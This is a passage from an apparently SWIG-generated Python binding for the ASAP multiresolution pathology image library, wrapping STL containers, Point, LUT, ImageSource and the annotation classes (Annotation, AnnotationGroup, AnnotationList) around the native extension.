_multiresolutionimageinterface.vector_long_long_get_allocator(self) def pop_back(self) -> "void": return _multiresolutionimageinterface.vector_long_long_pop_back(self) def erase(self, *args) -> "std::vector< long long >::iterator": return _multiresolutionimageinterface.vector_long_long_erase(self, *args) def __init__(self, *args): this = _multiresolutionimageinterface.new_vector_long_long(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def push_back(self, x: 'std::vector< long long >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_long_long_push_back(self, x) def front(self) -> "std::vector< long long >::value_type const &": return _multiresolutionimageinterface.vector_long_long_front(self) def back(self) -> "std::vector< long long >::value_type const &": return _multiresolutionimageinterface.vector_long_long_back(self) def assign(self, n: 'std::vector< long long >::size_type', x: 'std::vector< long long >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_long_long_assign(self, n, x) def resize(self, *args) -> "void": return _multiresolutionimageinterface.vector_long_long_resize(self, *args) def insert(self, *args) -> "void": return _multiresolutionimageinterface.vector_long_long_insert(self, *args) def reserve(self, n: 'std::vector< long long >::size_type') -> "void": return _multiresolutionimageinterface.vector_long_long_reserve(self, n) def capacity(self) -> "std::vector< long long >::size_type": return _multiresolutionimageinterface.vector_long_long_capacity(self) __swig_destroy__ = _multiresolutionimageinterface.delete_vector_long_long __del__ = lambda self: None vector_long_long_swigregister = _multiresolutionimageinterface.vector_long_long_swigregister vector_long_long_swigregister(vector_long_long) class vector_string(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, vector_string, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, vector_string, name) __repr__ = _swig_repr def iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.vector_string_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self) -> "bool": return _multiresolutionimageinterface.vector_string___nonzero__(self) def __bool__(self) -> "bool": return _multiresolutionimageinterface.vector_string___bool__(self) def __len__(self) -> "std::vector< std::string >::size_type": return _multiresolutionimageinterface.vector_string___len__(self) def __getslice__(self, i: 'std::vector< std::string >::difference_type', j: 'std::vector< std::string >::difference_type') -> "std::vector< std::string,std::allocator< std::string > > *": return _multiresolutionimageinterface.vector_string___getslice__(self, i, j) def __setslice__(self, *args) -> "void": return _multiresolutionimageinterface.vector_string___setslice__(self, *args) def __delslice__(self, i: 'std::vector< std::string >::difference_type', j: 'std::vector< std::string >::difference_type') -> "void": return _multiresolutionimageinterface.vector_string___delslice__(self, i, j) def __delitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_string___delitem__(self, *args) def __getitem__(self, *args) -> "std::vector< std::string >::value_type const &": return _multiresolutionimageinterface.vector_string___getitem__(self, *args) def __setitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_string___setitem__(self, *args) def pop(self) -> "std::vector< std::string >::value_type": return _multiresolutionimageinterface.vector_string_pop(self) def append(self, x: 'std::vector< std::string >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_string_append(self, x) def empty(self) -> "bool": return _multiresolutionimageinterface.vector_string_empty(self) def size(self) -> "std::vector< std::string >::size_type": return _multiresolutionimageinterface.vector_string_size(self) def swap(self, v: 'vector_string') -> "void": return _multiresolutionimageinterface.vector_string_swap(self, v) def begin(self) -> "std::vector< std::string >::iterator": return _multiresolutionimageinterface.vector_string_begin(self) def end(self) -> "std::vector< std::string >::iterator": return _multiresolutionimageinterface.vector_string_end(self) def rbegin(self) -> "std::vector< std::string >::reverse_iterator": return _multiresolutionimageinterface.vector_string_rbegin(self) def rend(self) -> "std::vector< std::string >::reverse_iterator": return _multiresolutionimageinterface.vector_string_rend(self) def clear(self) -> "void": return _multiresolutionimageinterface.vector_string_clear(self) def get_allocator(self) -> "std::vector< std::string >::allocator_type": return _multiresolutionimageinterface.vector_string_get_allocator(self) def pop_back(self) -> "void": return _multiresolutionimageinterface.vector_string_pop_back(self) def erase(self, *args) -> "std::vector< std::string >::iterator": return _multiresolutionimageinterface.vector_string_erase(self, *args) def __init__(self, *args): this = _multiresolutionimageinterface.new_vector_string(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def push_back(self, x: 'std::vector< std::string >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_string_push_back(self, x) def front(self) -> "std::vector< std::string >::value_type const &": return _multiresolutionimageinterface.vector_string_front(self) def back(self) -> "std::vector< std::string >::value_type const &": return _multiresolutionimageinterface.vector_string_back(self) def assign(self, n: 'std::vector< std::string >::size_type', x: 'std::vector< std::string >::value_type const &') -> "void": return _multiresolutionimageinterface.vector_string_assign(self, n, x) def resize(self, *args) -> "void": return _multiresolutionimageinterface.vector_string_resize(self, *args) def insert(self, *args) -> "void": return _multiresolutionimageinterface.vector_string_insert(self, *args) def reserve(self, n: 'std::vector< std::string >::size_type') -> "void": return _multiresolutionimageinterface.vector_string_reserve(self, n) def capacity(self) -> "std::vector< std::string >::size_type": return _multiresolutionimageinterface.vector_string_capacity(self) __swig_destroy__ = _multiresolutionimageinterface.delete_vector_string __del__ = lambda self: None vector_string_swigregister = _multiresolutionimageinterface.vector_string_swigregister vector_string_swigregister(vector_string) class vector_point(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, vector_point, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, vector_point, name) __repr__ = _swig_repr def iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.vector_point_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self) -> "bool": return _multiresolutionimageinterface.vector_point___nonzero__(self) def __bool__(self) -> "bool": return _multiresolutionimageinterface.vector_point___bool__(self) def __len__(self) -> "std::vector< Point >::size_type": return _multiresolutionimageinterface.vector_point___len__(self) def __getslice__(self, i: 'std::vector< Point >::difference_type', j: 'std::vector< Point >::difference_type') -> "std::vector< Point,std::allocator< Point > > *": return _multiresolutionimageinterface.vector_point___getslice__(self, i, j) def __setslice__(self, *args) -> "void": return _multiresolutionimageinterface.vector_point___setslice__(self, *args) def __delslice__(self, i: 'std::vector< Point >::difference_type', j: 'std::vector< Point >::difference_type') -> "void": return _multiresolutionimageinterface.vector_point___delslice__(self, i, j) def __delitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_point___delitem__(self, *args) def __getitem__(self, *args) -> "std::vector< Point >::value_type const &": return _multiresolutionimageinterface.vector_point___getitem__(self, *args) def __setitem__(self, *args) -> "void": return _multiresolutionimageinterface.vector_point___setitem__(self, *args) def pop(self) -> "std::vector< Point >::value_type": return _multiresolutionimageinterface.vector_point_pop(self) def append(self, x: 'Point') -> "void": return _multiresolutionimageinterface.vector_point_append(self, x) def empty(self) -> "bool": return _multiresolutionimageinterface.vector_point_empty(self) def size(self) -> "std::vector< Point >::size_type": return _multiresolutionimageinterface.vector_point_size(self) def swap(self, v: 'vector_point') -> "void": return _multiresolutionimageinterface.vector_point_swap(self, v) def begin(self) -> "std::vector< Point >::iterator": return _multiresolutionimageinterface.vector_point_begin(self) def end(self) -> "std::vector< Point >::iterator": return _multiresolutionimageinterface.vector_point_end(self) def rbegin(self) -> "std::vector< Point >::reverse_iterator": return _multiresolutionimageinterface.vector_point_rbegin(self) def rend(self) -> "std::vector< Point >::reverse_iterator": return _multiresolutionimageinterface.vector_point_rend(self) def clear(self) -> "void": return _multiresolutionimageinterface.vector_point_clear(self) def get_allocator(self) -> "std::vector< Point >::allocator_type": return _multiresolutionimageinterface.vector_point_get_allocator(self) def pop_back(self) -> "void": return _multiresolutionimageinterface.vector_point_pop_back(self) def erase(self, *args) -> "std::vector< Point >::iterator": return _multiresolutionimageinterface.vector_point_erase(self, *args) def __init__(self, *args): this = _multiresolutionimageinterface.new_vector_point(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def push_back(self, x: 'Point') -> "void": return _multiresolutionimageinterface.vector_point_push_back(self, x) def front(self) -> "std::vector< Point >::value_type const &": return _multiresolutionimageinterface.vector_point_front(self) def back(self) -> "std::vector< Point >::value_type const &": return _multiresolutionimageinterface.vector_point_back(self) def assign(self, n: 'std::vector< Point >::size_type', x: 'Point') -> "void": return _multiresolutionimageinterface.vector_point_assign(self, n, x) def resize(self, *args) -> "void": return _multiresolutionimageinterface.vector_point_resize(self, *args) def insert(self, *args) -> "void": return _multiresolutionimageinterface.vector_point_insert(self, *args) def reserve(self, n: 'std::vector< Point >::size_type') -> "void": return _multiresolutionimageinterface.vector_point_reserve(self, n) def capacity(self) -> "std::vector< Point >::size_type": return _multiresolutionimageinterface.vector_point_capacity(self) __swig_destroy__ = _multiresolutionimageinterface.delete_vector_point __del__ = lambda self: None vector_point_swigregister = _multiresolutionimageinterface.vector_point_swigregister vector_point_swigregister(vector_point) class map_int_string(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, map_int_string, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, map_int_string, name) __repr__ = _swig_repr def iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.map_int_string_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self) -> "bool": return _multiresolutionimageinterface.map_int_string___nonzero__(self) def __bool__(self) -> "bool": return _multiresolutionimageinterface.map_int_string___bool__(self) def __len__(self) -> "std::map< int,std::string >::size_type": return _multiresolutionimageinterface.map_int_string___len__(self) def __iter__(self): return self.key_iterator() def iterkeys(self): return self.key_iterator() def itervalues(self): return self.value_iterator() def iteritems(self): return self.iterator() def __getitem__(self, key: 'std::map< int,std::string >::key_type const &') -> "std::map< int,std::string >::mapped_type const &": return _multiresolutionimageinterface.map_int_string___getitem__(self, key) def __delitem__(self, key: 'std::map< int,std::string >::key_type const &') -> "void": return _multiresolutionimageinterface.map_int_string___delitem__(self, key) def has_key(self, key: 'std::map< int,std::string >::key_type const &') -> "bool": return _multiresolutionimageinterface.map_int_string_has_key(self, key) def keys(self) -> "PyObject *": return _multiresolutionimageinterface.map_int_string_keys(self) def values(self) -> "PyObject *": return _multiresolutionimageinterface.map_int_string_values(self) def items(self) -> "PyObject *": return _multiresolutionimageinterface.map_int_string_items(self) def __contains__(self, key: 'std::map< int,std::string >::key_type const &') -> "bool": return _multiresolutionimageinterface.map_int_string___contains__(self, key) def key_iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.map_int_string_key_iterator(self) def value_iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.map_int_string_value_iterator(self) def __setitem__(self, *args) -> "void": return _multiresolutionimageinterface.map_int_string___setitem__(self, *args) def asdict(self) -> "PyObject *": return _multiresolutionimageinterface.map_int_string_asdict(self) def __init__(self, *args): this = _multiresolutionimageinterface.new_map_int_string(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def empty(self) -> "bool": return _multiresolutionimageinterface.map_int_string_empty(self) def size(self) -> "std::map< int,std::string >::size_type": return _multiresolutionimageinterface.map_int_string_size(self) def swap(self, v: 'map_int_string') -> "void": return _multiresolutionimageinterface.map_int_string_swap(self, v) def begin(self) -> "std::map< int,std::string >::iterator": return _multiresolutionimageinterface.map_int_string_begin(self) def end(self) -> "std::map< int,std::string >::iterator": return _multiresolutionimageinterface.map_int_string_end(self) def rbegin(self) -> "std::map< int,std::string >::reverse_iterator": return _multiresolutionimageinterface.map_int_string_rbegin(self) def rend(self) -> "std::map< int,std::string >::reverse_iterator": return _multiresolutionimageinterface.map_int_string_rend(self) def clear(self) -> "void": return _multiresolutionimageinterface.map_int_string_clear(self) def get_allocator(self) -> "std::map< int,std::string >::allocator_type": return _multiresolutionimageinterface.map_int_string_get_allocator(self) def count(self, x: 'std::map< int,std::string >::key_type const &') -> "std::map< int,std::string >::size_type": return _multiresolutionimageinterface.map_int_string_count(self, x) def erase(self, *args) -> "void": return _multiresolutionimageinterface.map_int_string_erase(self, *args) def find(self, x: 'std::map< int,std::string >::key_type const &') -> "std::map< int,std::string >::iterator": return _multiresolutionimageinterface.map_int_string_find(self, x) def lower_bound(self, x: 'std::map< int,std::string >::key_type const &') -> "std::map< int,std::string >::iterator": return _multiresolutionimageinterface.map_int_string_lower_bound(self, x) def upper_bound(self, x: 'std::map< int,std::string >::key_type const &') -> "std::map< int,std::string >::iterator": return _multiresolutionimageinterface.map_int_string_upper_bound(self, x) __swig_destroy__ = _multiresolutionimageinterface.delete_map_int_string __del__ = lambda self: None map_int_string_swigregister = _multiresolutionimageinterface.map_int_string_swigregister map_int_string_swigregister(map_int_string) class map_string_int(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, map_string_int, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, map_string_int, name) __repr__ = _swig_repr def iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.map_string_int_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self) -> "bool": return _multiresolutionimageinterface.map_string_int___nonzero__(self) def __bool__(self) -> "bool": return _multiresolutionimageinterface.map_string_int___bool__(self) def __len__(self) -> "std::map< std::string,int >::size_type": return _multiresolutionimageinterface.map_string_int___len__(self) def __iter__(self): return self.key_iterator() def iterkeys(self): return self.key_iterator() def itervalues(self): return self.value_iterator() def iteritems(self): return self.iterator() def __getitem__(self, key: 'std::map< std::string,int >::key_type const &') -> "std::map< std::string,int >::mapped_type const &": return _multiresolutionimageinterface.map_string_int___getitem__(self, key) def __delitem__(self, key: 'std::map< std::string,int >::key_type const &') -> "void": return _multiresolutionimageinterface.map_string_int___delitem__(self, key) def has_key(self, key: 'std::map< std::string,int >::key_type const &') -> "bool": return _multiresolutionimageinterface.map_string_int_has_key(self, key) def keys(self) -> "PyObject *": return _multiresolutionimageinterface.map_string_int_keys(self) def values(self) -> "PyObject *": return _multiresolutionimageinterface.map_string_int_values(self) def items(self) -> "PyObject *": return _multiresolutionimageinterface.map_string_int_items(self) def __contains__(self, key: 'std::map< std::string,int >::key_type const &') -> "bool": return _multiresolutionimageinterface.map_string_int___contains__(self, key) def key_iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.map_string_int_key_iterator(self) def value_iterator(self) -> "swig::SwigPyIterator *": return _multiresolutionimageinterface.map_string_int_value_iterator(self) def __setitem__(self, *args) -> "void": return _multiresolutionimageinterface.map_string_int___setitem__(self, *args) def asdict(self) -> "PyObject *": return _multiresolutionimageinterface.map_string_int_asdict(self) def __init__(self, *args): this = _multiresolutionimageinterface.new_map_string_int(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def empty(self) -> "bool": return _multiresolutionimageinterface.map_string_int_empty(self) def size(self) -> "std::map< std::string,int >::size_type": return _multiresolutionimageinterface.map_string_int_size(self) def swap(self, v: 'map_string_int') -> "void": return _multiresolutionimageinterface.map_string_int_swap(self, v) def begin(self) -> "std::map< std::string,int >::iterator": return _multiresolutionimageinterface.map_string_int_begin(self) def end(self) -> "std::map< std::string,int >::iterator": return _multiresolutionimageinterface.map_string_int_end(self) def rbegin(self) -> "std::map< std::string,int >::reverse_iterator": return _multiresolutionimageinterface.map_string_int_rbegin(self) def rend(self) -> "std::map< std::string,int >::reverse_iterator": return _multiresolutionimageinterface.map_string_int_rend(self) def clear(self) -> "void": return _multiresolutionimageinterface.map_string_int_clear(self) def get_allocator(self) -> "std::map< std::string,int >::allocator_type": return _multiresolutionimageinterface.map_string_int_get_allocator(self) def count(self, x: 'std::map< std::string,int >::key_type const &') -> "std::map< std::string,int >::size_type": return _multiresolutionimageinterface.map_string_int_count(self, x) def erase(self, *args) -> "void": return _multiresolutionimageinterface.map_string_int_erase(self, *args) def find(self, x: 'std::map< std::string,int >::key_type const &') -> "std::map< std::string,int >::iterator": return _multiresolutionimageinterface.map_string_int_find(self, x) def lower_bound(self, x: 'std::map< std::string,int >::key_type const &') -> "std::map< std::string,int >::iterator": return _multiresolutionimageinterface.map_string_int_lower_bound(self, x) def upper_bound(self, x: 'std::map< std::string,int >::key_type const &') -> "std::map< std::string,int >::iterator": return _multiresolutionimageinterface.map_string_int_upper_bound(self, x) __swig_destroy__ = _multiresolutionimageinterface.delete_map_string_int __del__ = lambda self: None map_string_int_swigregister = _multiresolutionimageinterface.map_string_int_swigregister map_string_int_swigregister(map_string_int) ASAP_MAJOR_VERSION = _multiresolutionimageinterface.ASAP_MAJOR_VERSION ASAP_MINOR_VERSION = _multiresolutionimageinterface.ASAP_MINOR_VERSION ASAP_PATCH_VERSION = _multiresolutionimageinterface.ASAP_PATCH_VERSION class Point(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, Point, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, Point, name) __repr__ = _swig_repr def __init__(self, *args): this = _multiresolutionimageinterface.new_Point(*args) try: self.this.append(this) except __builtin__.Exception: self.this = this def getX(self) -> "float": return _multiresolutionimageinterface.Point_getX(self) def getY(self) -> "float": return _multiresolutionimageinterface.Point_getY(self) def setX(self, x: 'float const &') -> "void": return _multiresolutionimageinterface.Point_setX(self, x) def setY(self, y: 'float const &') -> "void": return _multiresolutionimageinterface.Point_setY(self, y) __swig_destroy__ = _multiresolutionimageinterface.delete_Point __del__ = lambda self: None Point_swigregister = _multiresolutionimageinterface.Point_swigregister Point_swigregister(Point) cvar = _multiresolutionimageinterface.cvar ASAP_VERSION_STRING = cvar.ASAP_VERSION_STRING class LUT(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, LUT, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, LUT, name) __repr__ = _swig_repr __swig_setmethods__["colors"] = _multiresolutionimageinterface.LUT_colors_set __swig_getmethods__["colors"] = _multiresolutionimageinterface.LUT_colors_get if _newclass: colors = _swig_property(_multiresolutionimageinterface.LUT_colors_get, _multiresolutionimageinterface.LUT_colors_set) __swig_setmethods__["wrapAround"] = _multiresolutionimageinterface.LUT_wrapAround_set __swig_getmethods__["wrapAround"] = _multiresolutionimageinterface.LUT_wrapAround_get if _newclass: wrapAround = _swig_property(_multiresolutionimageinterface.LUT_wrapAround_get, _multiresolutionimageinterface.LUT_wrapAround_set) def __init__(self): this = _multiresolutionimageinterface.new_LUT() try: self.this.append(this) except __builtin__.Exception: self.this = this __swig_destroy__ = _multiresolutionimageinterface.delete_LUT __del__ = lambda self: None LUT_swigregister = _multiresolutionimageinterface.LUT_swigregister LUT_swigregister(LUT) InvalidColorType = _multiresolutionimageinterface.InvalidColorType Monochrome = _multiresolutionimageinterface.Monochrome RGB = _multiresolutionimageinterface.RGB ARGB = _multiresolutionimageinterface.ARGB Indexed = _multiresolutionimageinterface.Indexed InvalidDataType = _multiresolutionimageinterface.InvalidDataType UChar = _multiresolutionimageinterface.UChar UInt16 = _multiresolutionimageinterface.UInt16 UInt32 = _multiresolutionimageinterface.UInt32 Float = _multiresolutionimageinterface.Float RAW = _multiresolutionimageinterface.RAW JPEG = _multiresolutionimageinterface.JPEG LZW = _multiresolutionimageinterface.LZW JPEG2000 = _multiresolutionimageinterface.JPEG2000 NearestNeighbor = _multiresolutionimageinterface.NearestNeighbor Linear = _multiresolutionimageinterface.Linear class ImageSource(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, ImageSource, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, ImageSource, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined - class is abstract") __repr__ = _swig_repr __swig_destroy__ = _multiresolutionimageinterface.delete_ImageSource __del__ = lambda self: None def valid(self) -> "bool": return _multiresolutionimageinterface.ImageSource_valid(self) def getDimensions(self) -> "std::vector< unsigned long long,std::allocator< unsigned long long > > const": return _multiresolutionimageinterface.ImageSource_getDimensions(self) def getColorType(self) -> "pathology::ColorType const": return _multiresolutionimageinterface.ImageSource_getColorType(self) def getDataType(self) -> "pathology::DataType const": return _multiresolutionimageinterface.ImageSource_getDataType(self) def getSamplesPerPixel(self) -> "int const": return _multiresolutionimageinterface.ImageSource_getSamplesPerPixel(self) def getSpacing(self) -> "std::vector< double,std::allocator< double > > const": return _multiresolutionimageinterface.ImageSource_getSpacing(self) def getMinValue(self, channel: 'int'=-1) -> "double": return _multiresolutionimageinterface.ImageSource_getMinValue(self, channel) def getMaxValue(self, channel: 'int'=-1) -> "double": return _multiresolutionimageinterface.ImageSource_getMaxValue(self, channel) ImageSource_swigregister = _multiresolutionimageinterface.ImageSource_swigregister ImageSource_swigregister(ImageSource) ColorLookupTables = cvar.ColorLookupTables class CmdLineProgressMonitor(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, CmdLineProgressMonitor, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, CmdLineProgressMonitor, name) __repr__ = _swig_repr def __init__(self): this = _multiresolutionimageinterface.new_CmdLineProgressMonitor() try: self.this.append(this) except __builtin__.Exception: self.this = this __swig_destroy__ = _multiresolutionimageinterface.delete_CmdLineProgressMonitor __del__ = lambda self: None def setProgress(self, progress: 'unsigned int const &') -> "void": return _multiresolutionimageinterface.CmdLineProgressMonitor_setProgress(self, progress) def setStatus(self, status: 'std::string const &') -> "void": return _multiresolutionimageinterface.CmdLineProgressMonitor_setStatus(self, status) CmdLineProgressMonitor_swigregister = _multiresolutionimageinterface.CmdLineProgressMonitor_swigregister CmdLineProgressMonitor_swigregister(CmdLineProgressMonitor) class AnnotationBase(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, AnnotationBase, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, AnnotationBase, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined - class is abstract") __repr__ = _swig_repr __swig_destroy__ = _multiresolutionimageinterface.delete_AnnotationBase __del__ = lambda self: None def setName(self, name: 'std::string const &') -> "void": return _multiresolutionimageinterface.AnnotationBase_setName(self, name) def getName(self) -> "std::string": return _multiresolutionimageinterface.AnnotationBase_getName(self) def setGroup(self, group: 'std::shared_ptr< AnnotationGroup > const &') -> "void": return _multiresolutionimageinterface.AnnotationBase_setGroup(self, group) def getGroup(self) -> "std::shared_ptr< AnnotationGroup >": return _multiresolutionimageinterface.AnnotationBase_getGroup(self) def getColor(self) -> "std::string": return _multiresolutionimageinterface.AnnotationBase_getColor(self) def setColor(self, color: 'std::string const &') -> "void": return _multiresolutionimageinterface.AnnotationBase_setColor(self, color) def getImageBoundingBox(self) -> "std::vector< Point,std::allocator< Point > >": return _multiresolutionimageinterface.AnnotationBase_getImageBoundingBox(self) def getLocalBoundingBox(self) -> "std::vector< Point,std::allocator< Point > >": return _multiresolutionimageinterface.AnnotationBase_getLocalBoundingBox(self) def getCenter(self) -> "Point": return _multiresolutionimageinterface.AnnotationBase_getCenter(self) def getArea(self) -> "float": return _multiresolutionimageinterface.AnnotationBase_getArea(self) def getNumberOfPoints(self) -> "unsigned int": return _multiresolutionimageinterface.AnnotationBase_getNumberOfPoints(self) def isModified(self) -> "bool": return _multiresolutionimageinterface.AnnotationBase_isModified(self) def resetModifiedStatus(self) -> "void": return _multiresolutionimageinterface.AnnotationBase_resetModifiedStatus(self) AnnotationBase_swigregister = _multiresolutionimageinterface.AnnotationBase_swigregister AnnotationBase_swigregister(AnnotationBase) class Annotation(AnnotationBase): __swig_setmethods__ = {} for _s in [AnnotationBase]: __swig_setmethods__.update(getattr(_s, '__swig_setmethods__', {})) __setattr__ = lambda self, name, value: _swig_setattr(self, Annotation, name, value) __swig_getmethods__ = {} for _s in [AnnotationBase]: __swig_getmethods__.update(getattr(_s, '__swig_getmethods__', {})) __getattr__ = lambda self, name: _swig_getattr(self, Annotation, name) __repr__ = _swig_repr NONE = _multiresolutionimageinterface.Annotation_NONE DOT = _multiresolutionimageinterface.Annotation_DOT POLYGON = _multiresolutionimageinterface.Annotation_POLYGON SPLINE = _multiresolutionimageinterface.Annotation_SPLINE POINTSET = _multiresolutionimageinterface.Annotation_POINTSET MEASUREMENT = _multiresolutionimageinterface.Annotation_MEASUREMENT RECTANGLE = _multiresolutionimageinterface.Annotation_RECTANGLE def __init__(self): this = _multiresolutionimageinterface.new_Annotation() try: self.this.append(this) except __builtin__.Exception: self.this = this def addCoordinate(self, *args) -> "void": return _multiresolutionimageinterface.Annotation_addCoordinate(self, *args) def insertCoordinate(self, *args) -> "void": return _multiresolutionimageinterface.Annotation_insertCoordinate(self, *args) def removeCoordinate(self, index: 'int const &') -> "void": return _multiresolutionimageinterface.Annotation_removeCoordinate(self, index) def setCoordinates(self, coordinates: 'vector_point') -> "void": return _multiresolutionimageinterface.Annotation_setCoordinates(self, coordinates) def getCoordinate(self, index: 'int const &') -> "Point": return _multiresolutionimageinterface.Annotation_getCoordinate(self, index) def getCoordinates(self) -> "std::vector< Point,std::allocator< Point > >": return _multiresolutionimageinterface.Annotation_getCoordinates(self) def clearCoordinates(self) -> "void": return _multiresolutionimageinterface.Annotation_clearCoordinates(self) def setType(self, type: 'Annotation::Type const &') -> "void": return _multiresolutionimageinterface.Annotation_setType(self, type) def getType(self) -> "Annotation::Type": return _multiresolutionimageinterface.Annotation_getType(self) def getTypeAsString(self) -> "std::string": return _multiresolutionimageinterface.Annotation_getTypeAsString(self) def setTypeFromString(self, type: 'std::string const &') -> "void": return _multiresolutionimageinterface.Annotation_setTypeFromString(self, type) def getImageBoundingBox(self) -> "std::vector< Point,std::allocator< Point > >": return _multiresolutionimageinterface.Annotation_getImageBoundingBox(self) def getLocalBoundingBox(self) -> "std::vector< Point,std::allocator< Point > >": return _multiresolutionimageinterface.Annotation_getLocalBoundingBox(self) def getCenter(self) -> "Point": return _multiresolutionimageinterface.Annotation_getCenter(self) def simplify(self, nrPoints: 'unsigned int'=0, epsilon: 'float'=1.0) -> "void": return _multiresolutionimageinterface.Annotation_simplify(self, nrPoints, epsilon) def getArea(self) -> "float": return _multiresolutionimageinterface.Annotation_getArea(self) def getNumberOfPoints(self) -> "unsigned int": return _multiresolutionimageinterface.Annotation_getNumberOfPoints(self) def isClockwise(self) -> "bool": return _multiresolutionimageinterface.Annotation_isClockwise(self) __swig_destroy__ = _multiresolutionimageinterface.delete_Annotation __del__ = lambda self: None Annotation_swigregister = _multiresolutionimageinterface.Annotation_swigregister Annotation_swigregister(Annotation) class AnnotationGroup(AnnotationBase): __swig_setmethods__ = {} for _s in [AnnotationBase]: __swig_setmethods__.update(getattr(_s, '__swig_setmethods__', {})) __setattr__ = lambda self, name, value: _swig_setattr(self, AnnotationGroup, name, value) __swig_getmethods__ = {} for _s in [AnnotationBase]: __swig_getmethods__.update(getattr(_s, '__swig_getmethods__', {})) __getattr__ = lambda self, name: _swig_getattr(self, AnnotationGroup, name) __repr__ = _swig_repr def __init__(self): this = _multiresolutionimageinterface.new_AnnotationGroup() try: self.this.append(this) except __builtin__.Exception: self.this = this __swig_destroy__ = _multiresolutionimageinterface.delete_AnnotationGroup __del__ = lambda self: None def getImageBoundingBox(self) -> "std::vector< Point,std::allocator< Point > >": return _multiresolutionimageinterface.AnnotationGroup_getImageBoundingBox(self) def getLocalBoundingBox(self) -> "std::vector< Point,std::allocator< Point > >": return _multiresolutionimageinterface.AnnotationGroup_getLocalBoundingBox(self) def getCenter(self) -> "Point": return _multiresolutionimageinterface.AnnotationGroup_getCenter(self) def getArea(self) -> "float": return _multiresolutionimageinterface.AnnotationGroup_getArea(self) def getNumberOfPoints(self) -> "unsigned int": return _multiresolutionimageinterface.AnnotationGroup_getNumberOfPoints(self) def clearAttributes(self) -> "void": return _multiresolutionimageinterface.AnnotationGroup_clearAttributes(self) def getAttributes(self) -> "std::map< std::string,std::string,std::less< std::string >,std::allocator< std::pair< std::string const,std::string > > >": return _multiresolutionimageinterface.AnnotationGroup_getAttributes(self) def setAttributes(self, attributes: 'std::map< std::string,std::string,std::less< std::string >,std::allocator< std::pair< std::string const,std::string > > >') -> "void": return _multiresolutionimageinterface.AnnotationGroup_setAttributes(self, attributes) def addMember(self, member: 'std::shared_ptr< AnnotationBase >') -> "void": return _multiresolutionimageinterface.AnnotationGroup_addMember(self, member) def removeMember(self, member: 'std::shared_ptr< AnnotationBase >') -> "void": return _multiresolutionimageinterface.AnnotationGroup_removeMember(self, member) AnnotationGroup_swigregister = _multiresolutionimageinterface.AnnotationGroup_swigregister AnnotationGroup_swigregister(AnnotationGroup) class AnnotationList(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, AnnotationList, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, AnnotationList, name) __repr__ = _swig_repr def __init__(self): this = _multiresolutionimageinterface.new_AnnotationList() try: self.this.append(this) except __builtin__.Exception: self.this = this __swig_destroy__ = _multiresolutionimageinterface.delete_AnnotationList __del__ = lambda self: None def isModified(self) -> "bool": return _multiresolutionimageinterface.AnnotationList_isModified(self) def resetModifiedStatus(self) -> "void": return _multiresolutionimageinterface.AnnotationList_resetModifiedStatus(self) def addGroup(self, group: 'std::shared_ptr< AnnotationGroup > const &') -> "bool": return _multiresolutionimageinterface.AnnotationList_addGroup(self, group) def addAnnotation(self, annotation: 'std::shared_ptr< Annotation > const &') -> "bool": return _multiresolutionimageinterface.AnnotationList_addAnnotation(self, annotation) def getGroup(self, *args) -> "std::shared_ptr< AnnotationGroup >": return _multiresolutionimageinterface.AnnotationList_getGroup(self, *args) def getAnnotation(self, *args) -> "std::shared_ptr< Annotation >": return _multiresolutionimageinterface.AnnotationList_getAnnotation(self, *args) def getAnnotations(self) -> "std::vector< std::shared_ptr< Annotation >,std::allocator< std::shared_ptr< Annotation > > >": return _multiresolutionimageinterface.AnnotationList_getAnnotations(self) def getGroups(self) -> "std::vector< std::shared_ptr< AnnotationGroup >,std::allocator< std::shared_ptr< AnnotationGroup > > >": return 